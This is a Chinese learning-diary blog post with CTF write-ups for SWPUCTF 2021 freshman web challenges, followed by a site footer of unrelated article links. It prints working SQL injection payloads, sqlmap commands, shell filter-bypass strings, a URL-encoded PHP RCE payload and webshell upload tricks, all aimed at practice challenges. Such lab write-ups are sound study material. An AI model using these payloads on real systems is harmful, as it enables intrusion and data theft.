刷题学习日记 (1) - SWPUCTF

写这篇文章主要是想看看自己一个下午能干啥,不想老是浪费时间了,所以刷多少题我就会写多少题解,使用nss随机刷题,但是今天下午不知道为啥一刷都是SWPUCTF的。

[SWPUCTF 2021 新生赛]gift_F12

控制台ctrl+f搜索flag即可,得到flag

[SWPUCTF 2021 新生赛]caidao

怎么做写脸上了,直接连,

[SWPUCTF 2021 新生赛]jicao

<?php
highlight_file
('index.php');
include(
"flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if (
$id=="wllmNB"&&$json['x']=="wllm")
{echo 
$flag;}
?>

//阅读一下源码:可以看到要输出flag要满足POST传入id=wllmNB,GET传入json字符串经过解码后要满足$json['x']=="wllm",GET传入{"x":"wllm"}即可
NSSCTF{95d74e97-b06c-4fb2-b028-bb3a0ab2686c}

[SWPUCTF 2021 新生赛]Do_you_know_http

使用hackbar传入User-Agent :WLLM即可


第二关传入X-Forwarded-For :127.0.0.1 即可

[SWPUCTF 2021 新生赛]easy_md5

一个很简单的md5

[SWPUCTF 2021 新生赛]easyupload1.0

传个一句话木马试试

应该是给php后缀搬掉了,试试phtml,也搬掉了,不太行,传个图片

图片可以正常上传猜测检测字段Content-Type:

直接改个php试试

上传成功。

直接连接了,然后虚拟终端打开找找flag

找到了,但是上传之后竟然是错误的,看了wp后说要在phpinfo里面找,这个没想到

[SWPUCTF 2021 新生赛]nc签到

看题目直接拿vps nc一下吧

黑名单搬了一点

看看路径,可以使用l's'这样的方式绕过查看一下flag

ca't'$IFS$9flag

当然我们使用nl也是可以的

[SWPUCTF 2021 新生赛]easyupload2.0

直接蚁剑连接即可

[SWPUCTF 2021 新生赛]easyrce

没有任何限制直接RCE就行

[SWPUCTF 2021 新生赛]babyrce

加个cookie下一关出来了

空格过滤了直接${IFS}或者$IFS$9绕过

[SWPUCTF 2021 新生赛]ez_unserialize

开题没告诉题目开源码,意图明显,访问/robots.txt

找到目录


找到题目,解析一下,当类销毁的时候如果amdin=admin,passwd=ctf那么就输出flag,思路有了生成对象p的时候直接赋值对象p的admin和passwd属性即可

[SWPUCTF 2021 新生赛]include

给了个提示

经过包含发现没包含出来,搜了一下include_once函数的用法

说明flag.php已经被包含过了,那我们使用php伪协议将flag的base64直接输出,然后解码即可

[SWPUCTF 2021 新生赛]error

搜索框输入1,写没有提示?看看源码

看到源码给出提示

直接跑sqlmap

python sqlmap.py -u ”url" --dbs

python sqlmap.py -u “url” test_db --tables

python sqlmap.py -u “url” -D test_db -T test_tb --columns

python sqlmap.py -u “url” -D test_db -T test_tb -C flag --dump

这里是报错注入,SELECT * FROM users WHERE id='$id' LIMIT 0,1可以看到给了语句

直接进行报错注入:1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))-- 原理:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

SELECT * FROM users WHERE id='1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))--' LIMIT 0,1

--后面的明显被注释了,

EXTRACTVALUE:

它的正常用法是从一个合法的 XML 文档中,按照给定的 XPath 语法规则,提取匹配的节点值。然而,当提供的 XML 或 XPath 是非法的或者不符合格式时

  • CONCAT(0x7e, (SELECT database()), 0x7e):将当前的数据库名称与两个 ~ 符号(十六进制 0x7e 表示的 ~)拼接。SELECT database() 会返回当前使用的数据库名称。
  • EXTRACTVALUE(1, ...):由于传递的参数不是有效的 XML 数据格式,EXTRACTVALUE() 会触发一个错误。这个错误的详细信息可能包含我们拼接的数据库名称,这样就通过报错信息泄露了敏感数据。

数据库名出来了;

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='test_db' LIMIT 0,1), 0x7e))-- -

跑出来表名

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='test_tb' and table_schema='test_db' LIMIT 1,1), 0x7e))-- -

跑出来个flag列

直接拿出flag

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT flag FROM test_tb LIMIT 0,1), 0x7e))-- -

出了一半,

再找下一半应该是放不下了从右往左找试试

?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT left(flag,30) FROM test_tb LIMIT 0,1), 0x7e))-- -

可以看到最多输出30位,输入31后后面的波浪号没了

把这两个找出来的flag整合一下即可

把这两个整合一下flag

[SWPUCTF 2021 新生赛]no_wakeup

小派蒙给了一个class.php,打开看看

是一个反序列化的题目,分析一下,当对象被反序列化的时候会自动调用wakeup魔术方法,意思是我们传入这一串O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}的时候passwd会变成SHA1(wllm)这样会导致我们不能满足条件,这题意图比较明显了,就是wakeup绕过,怎么绕过呢?

参考两篇文章:我感觉写的很好

PHP反序列化中wakeup()绕过总结 – fushulingのblog

PHP反序列化

我们这里直接把元素数改为3就可以绕过,为什么呢?

因为当传入数据被反序列化时因为多了一个元素但是找不到元素然后就不能完成整个反序列化的过程导致中途exit所以wakeup调用不了

这一个我看了感觉很有参考意义,记录一下

wake_up绕过练习参考:A new way to bypass __wakeup() and build POP chain - inhann的博客 | inhann's Blog

[SWPUCTF 2021 新生赛]easyupload3.0

依然选择直接传一个伪造的图片上去,依然这个图片是完全可以传的,

稍微改一改再次测试

稳定发挥啊还是可以传的,改下后缀呢?

看来不行了那我们只能用图片马先试试吧,我们已经传了一个jpg文件先试试能不能传.htaccess

成功了蚁剑连接一下

添加成功

找到flag

[SWPUCTF 2021 新生赛]finalrce

一个防火墙绕过,tac 没禁了,看wp学到了点东西

find / | tee 1.txt

可以输出根目录到1.txt文件里面尝试一下,试了完全打不开太大了有点,我们在vps上下载下来吧

 curl -O http://node4.anna.nssctf.cn:28864/1.txt

然后找一找敏感文件

cat 1.txt |grep /fl*
 

可以看到输出的最后就是很明显的flag啊直接 tac /flllllaaaaaaggggggg,但是la不能连接在一起我们这里用用一个正则分开tac /flllll\aaaaaaggggggg,这里是看不到东西的使用和刚刚一样的方法tee试试

tac /flllll\aaaaaaggggggg | tee 2.txt

获取到flag

[SWPUCTF 2021 新生赛]hardrce


防火墙禁止了很多东西,字母字母用不了,也禁止了很多符号啊,没什么思路参考wp

<?php
a="system";a="system";b = “cat /f*”;
echo urlencode(~a); print("\n"); echo urlencode(~b);
?>

这样也可以绕过。

url编码绕过限制

?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);

学到了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/432485.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Python】自己写的包,在Spyder中跳不到自己包的位置怎么办?

我很喜欢用Spyder来做测试。但是我总是发现&#xff0c;我想要跳转外部的包或者自己写的包&#xff0c;但是发现不行。 解决的方法&#xff1a; 使用快捷键&#xff08;Ctrl 鼠标左键点击&#xff09;&#xff1a; 在 Spyder 中&#xff0c;你可以使用 Ctrl 鼠标左键点击 来…

作业报告┭┮﹏┭┮(Android反调试)

一&#xff1a;Android反调试 主要是用来防止IDA进行附加的&#xff0c;主要的方法思路就是&#xff0c;判断自身是否有父进程&#xff0c;判断是否端口被监听&#xff0c;然后通过调用so文件中的线程进行监视&#xff0c;这个线程开启一般JNI_OnLoad中进行开启的。但是这个是…

二进制文件与文本文件的区别【字符集Charset】

计算机上存储的文件在比特位上都是以二进制数字0或1表示&#xff0c;因此在物理层面上&#xff0c;文本文件和二进制文件没有本质差异&#xff0c;都是由数字0或1组成的比特位集合。 文本文件和二进制文件&#xff0c;两者的差异体现在编码逻辑&#xff0c;需要根据文件头中标…

PVE虚拟机被锁定locked解决方法

打开pve节点的shell&#xff0c;执行以下命令 qm unlock <VMID> 示例&#xff1a; qm unlock 112

伊犁云计算22-1 apache 安装rhel8

1 局域网网络必须通 2 yum 必须搭建成功 3 apache 必须安装 开干 要用su 用户来访问 一看httpd 组件安装完毕 到这里就是测试成功了 如何修改主页的目录 网站目录默认保存在/var/WWW/HTML 我希望改变/home/www 122 127 167 行要改

SQL Server的文本和图像函数

新书速览|SQL Server 2022从入门到精通&#xff1a;视频教学超值版_sql server 2022 出版社-CSDN博客 《SQL Server 2022从入门到精通&#xff08;视频教学超值版&#xff09;&#xff08;数据库技术丛书&#xff09;》(王英英)【摘要 书评 试读】- 京东图书 (jd.com) SQL Se…

《数据结构与算法之美》学习笔记五之队列

前情提要&#xff1a;上一章学习了栈相关的知识&#xff0c;主要有下面的内容&#xff1a; 栈操作的时间复杂度&#xff0c;对于顺序栈&#xff0c;入栈时如果栈的空间不够涉及到数据搬移&#xff0c;此时使用摊还分析法&#xff0c;将数据搬移的耗时均摊到不需要搬移数据的入…

【YOLO学习】YOLOv1详解

文章目录 1. 概述2. 算法流程3. 网络结构4. 损失函数 1. 概述 1. YOLO 的全称是 You Only Look Once: Unified, Real-Time Object Detection。YOLOv1 的核心思想就是利用整张图作为网络的输入&#xff0c;直接在输出层回归 bounding box 的位置和 bounding box 所属的类别。简单…

【二十五】【QT开发应用】无边窗窗口鼠标拖动窗口移动,重写mousePressEvent,mouseMoveEvent函数

在 Qt 中&#xff0c;可以通过在自定义的类中重载 mousePressEvent 和 mouseMoveEvent 函数来捕获鼠标按下和移动事件&#xff0c;以便实现例如拖动窗口等功能。 mousePressEvent 和 mouseMoveEvent分别是鼠标按下事件和鼠标移动事件。这两个函数是QT中本身就存在的函数&#…

【2023工业图像异常检测文献】SimpleNet

SimpleNet:ASimpleNetworkforImageAnomalyDetectionandLocalization 1、Background 图像异常检测和定位主要任务是识别并定位图像中异常区域。 工业异常检测最大的难题在于异常样本少&#xff0c;一般采用无监督方法&#xff0c;在训练过程中只使用正常样本。 解决工业异常检…

ROC、TPR、FPR的含义

1、ROC&#xff08;Receiver Operating Characteristic&#xff09; ROC&#xff08;Receiver Operating Characteristic&#xff09;曲线是一种用于评估分类模型性能的工具。它通过绘制真阳性率&#xff08;True Positive Rate, TPR&#xff09;与假阳性率&#xff08;False…

uni-app - - - - - 实现锚点定位和滚动监听功能(滚动监听功能暂未添加,待后续更新)

实现锚点定位和滚动监听功能 1. 思路解析2. 代码示例 效果截图示例&#xff1a; 点击左侧menu&#xff0c;右侧列表数据实现锚点定位 1. 思路解析 点击左侧按钮&#xff0c;更新右侧scroll-view对应的scroll-into-view的值&#xff0c;即可实现右侧锚点定位滚动右侧区域&am…

Chroma 向量数据入门

Chroma 是 AI 原生的开源矢量数据库。Chroma 使知识、事实和技能可插入 LLM&#xff0c;从而可以轻松构建 LLM 应用程序。Chroma 是 AI 原生的开源矢量数据库。Chroma 使知识、事实和技能可插入 LLM&#xff0c;从而可以轻松构建 LLM 应用程序。 &#x1f31f;Chroma是一个文档…

简单的mybatis batch插入批处理

简单的mybatis batch插入批处理 1.需求 公司的权限管理功能有一个岗位关联资源的分配操作&#xff0c;如果新增一个岗位&#xff0c;有时候需要将资源全部挂上去&#xff0c;原有的是for循环插入资源信息&#xff0c;发现有时候执行速度过慢&#xff0c;所以此处想修改为批处…

Spring Cloud Gateway 之动态uri 自定义过滤器

背景&#xff1a;第三方公司 请求本公司入参和出参一样的同一个接口&#xff0c;根据业务类型不一样需要不同业务微服务处理 &#xff0c;和第三方公司协商在请求头中加入业务类型方便我公司在网关成分发请求。 1&#xff1a;在spring cloud gateway yml 中加入路由 重点是 -…

数据结构之搜索二叉树

目录 一、什么是搜索二叉树 基本概念 特点 注意事项 二、搜索二叉树的C实现 2.0 构造与析构 2.1 插入 2.2 查找 2.3 删除 2.3.1 无牵无挂型 2.3.2 独生子女型 2.3.3 儿女双全型 三、搜索二叉树的应用 3.1 key搜索 3.2 key/value搜索 一、什么是搜索二叉树 搜索二…

数值计算 --- 平方根倒数快速算法(中)

平方根倒数快速算法(中) --- 向Greg Walsh致敬&#xff01; 在前面的介绍中&#xff0c;我们已经知道了这段代码的作者Greg Walsh在函数的最后使用了NR-iteration&#xff0c;且只用了一次NR-iteration就能达到比较理想的精度。这样一来&#xff0c;选择正确的初值就显得尤为重…

云原生|浅谈云原生中的对象存储之MinIO 的使用

一、什么是对象储存 对象存储&#xff08;Object Storage&#xff09;以对象的形式存储和管理数据&#xff0c;这些对象可以是任何类型的数据&#xff0c;例如 PDF&#xff0c;视频&#xff0c;音频&#xff0c;文本或其他文件类型。对象存储使用分布式存储架构&#xff0c;数据…

C语言贪吃蛇小游戏演示和说明

C语言贪吃蛇小游戏演示和说明 设计贪吃蛇游戏的主要目的是让大家夯实C语言基础&#xff0c;训练编程思维&#xff0c;培养解决问题的思路&#xff0c;领略多姿多彩的C语言。 游戏开始后&#xff0c;会在中间位置出现一条只有三个节点的贪吃蛇&#xff0c;并随机出现一个食物&am…

数据结构练习题————(二叉树)——考前必备合集!

今天在牛客网和力扣上带来了数据结构中二叉树的进阶练习题 1.二叉搜索树与双向链表———二叉搜索树与双向链表_牛客题霸_牛客网 (nowcoder.com) 2.二叉树遍历————二叉树遍历_牛客题霸_牛客网 (nowcoder.com) 3.二叉树的层序遍历————102. 二叉树的层序遍历 - 力扣&am…